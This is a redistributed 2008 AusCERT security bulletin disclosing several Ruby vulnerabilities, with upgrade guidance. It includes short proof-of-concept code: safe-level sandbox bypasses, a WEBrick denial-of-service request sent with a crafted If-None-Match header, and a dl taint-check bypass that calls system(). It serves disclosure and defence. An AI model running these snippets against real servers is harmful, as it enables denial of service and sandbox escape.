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-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =========================================================================== AUSCERT External Security Bulletin Redistribution ESB-2008.0789 -- [Win][UNIX/Linux] Multiple vulnerabilities in Ruby 18 August 2008 =========================================================================== AusCERT Security Bulletin Summary --------------------------------- Product: Ruby 1.8.5 and all prior versions Ruby 1.8.6-p286 and all prior versions Ruby 1.8.7-p71 and all prior versions Ruby r18423 and all prior revisions Publisher: Ruby Community Operating System: UNIX variants (UNIX, Linux, OSX) Windows Impact: Increased Privileges Provide Misleading Information Denial of Service Inappropriate Access Access: Remote/Unauthenticated CVE Names: CVE-2008-3657 CVE-2008-3656 CVE-2008-3655 CVE-2008-3443 CVE-2008-1447 Ref: AL-2008.0080 Original Bulletin: http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/ Revision History: August 18 2008: Added further CVE information August 15 2008: Added CVE August 12 2008: Initial Release - --------------------------BEGIN INCLUDED TEXT-------------------- Multiple vulnerabilities in Ruby Multiple vulnerabilities have been discovered in Ruby. It's recommended that you upgrade to the latest versions. Details The following vulnerabilities have been discovered. Several vulnerabilities in safe level Several vulnerabilities in safe level have been discovered. * untrace_var is permitted at safe level 4. trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join * $PROGRAM_NAME may be modified at safe level 4. Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!" * Insecure methods may be called at safe level 1-3. class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end * Syslog operations are permitted at safe level 4. require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join These vulnerabilities were reported by Keita Yamaguchi. DoS vulnerability in WEBrick WEBrick::HTTP::DefaultFileHandler is faulty of exponential time taking requests due to a backtracking regular expression in WEBrick::HTTPUtils.split_header_value. Exploitable server: require 'webrick' WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start Attack: require 'net/http' res = Net::HTTP.start("localhost", 2000) { |http| req = Net::HTTP::Get.new("/passwd") req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100 http.request(req) } p res The request likely won't finish in this universe. This vulnerability was reported by Christian Neukirchen. Lack of taintness check in dl dl doesn't check taintness, so it could allow attackers to call dangerous functions. require 'dl' $SAFE = 1 h = DL.dlopen(nil) sys = h.sym('system', 'IP') uname = 'uname -rs'.taint sys[uname] This vulnerability was reported by sheepman. DNS spoofing vulnerability in resolv.rb resolv.rb allow remote attackers to spoof DNS answers. This risk can be reduced by randomness of DNS transaction IDs and source ports, so resolv.rb is fixed to randomize them. * see also: CVE-2008-1447 This vulnerability was reported by Tanaka Akira. Vulnerable versions 1.8 series + 1.8.5 and all prior versions + 1.8.6-p286 and all prior versions + 1.8.7-p71 and all prior versions 1.9 series + r18423 and all prior revisions Solution 1.8 series Please upgrade to 1.8.6-p287, or 1.8.7-p72. + <URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p287 .tar.gz> + <URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p72. tar.gz> 1.9 series Please check out the latest version using Subversion. $ svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby Please note that a package that corrects this weakness may already be available through your package management software. Credit Credit to Keita Yamaguchi, Christian Neukirchen, sheepman, and Tanaka Akira for disclosing these problems to Ruby Security Team. Changes * 2008-08-08 12:21 +09:00 fixed the revision number of ruby 1.9. * 2008-08-11 11:23 +09:00 fixed the patchlevel of ruby 1.8. see the release announcement of Ruby 1.8.7-p72 and 1.8.6-p287 - --------------------------END INCLUDED TEXT-------------------- You have received this e-mail bulletin as a result of your organisation's registration with AusCERT. The mailing list you are subscribed to is maintained within your organisation, so if you do not wish to continue receiving these bulletins you should contact your local IT manager. If you do not know who that is, please send an email to auscert@auscert.org.au and we will forward your request to the appropriate person. NOTE: Third Party Rights This security bulletin is provided as a service to AusCERT's members. As AusCERT did not write the document quoted above, AusCERT has had no control over its content. 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Previous advisories and external security bulletins can be retrieved from: http://www.auscert.org.au/render.html?cid=1980 If you believe that your computer system has been compromised or attacked in any way, we encourage you to let us know by completing the secure National IT Incident Reporting Form at: http://www.auscert.org.au/render.html?it=3192 =========================================================================== Australian Computer Emergency Response Team The University of Queensland Brisbane Qld 4072 Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 7031 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AusCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for member emergencies only. =========================================================================== -----BEGIN PGP SIGNATURE----- Comment: http://www.auscert.org.au/render.html?it=1967 iQCVAwUBSKjOhyh9+71yA2DNAQJ16gP/bQnQwxOjFXBhEIUtd9licKFI+gYcMCgp p6cj0SSdPSZHCaxVMlT/bR0kwRYSnf9yy7pJPFkoSe06FWELB6Wf4CM/us9HyC5I pctpfSWFnvdLvBZH2HxkjyRBbCgvwLgxxSIaZwxI3SR+9G6bScyByvr3HrbZPK7B 679BsaY83dk= =P17A -----END PGP SIGNATURE-----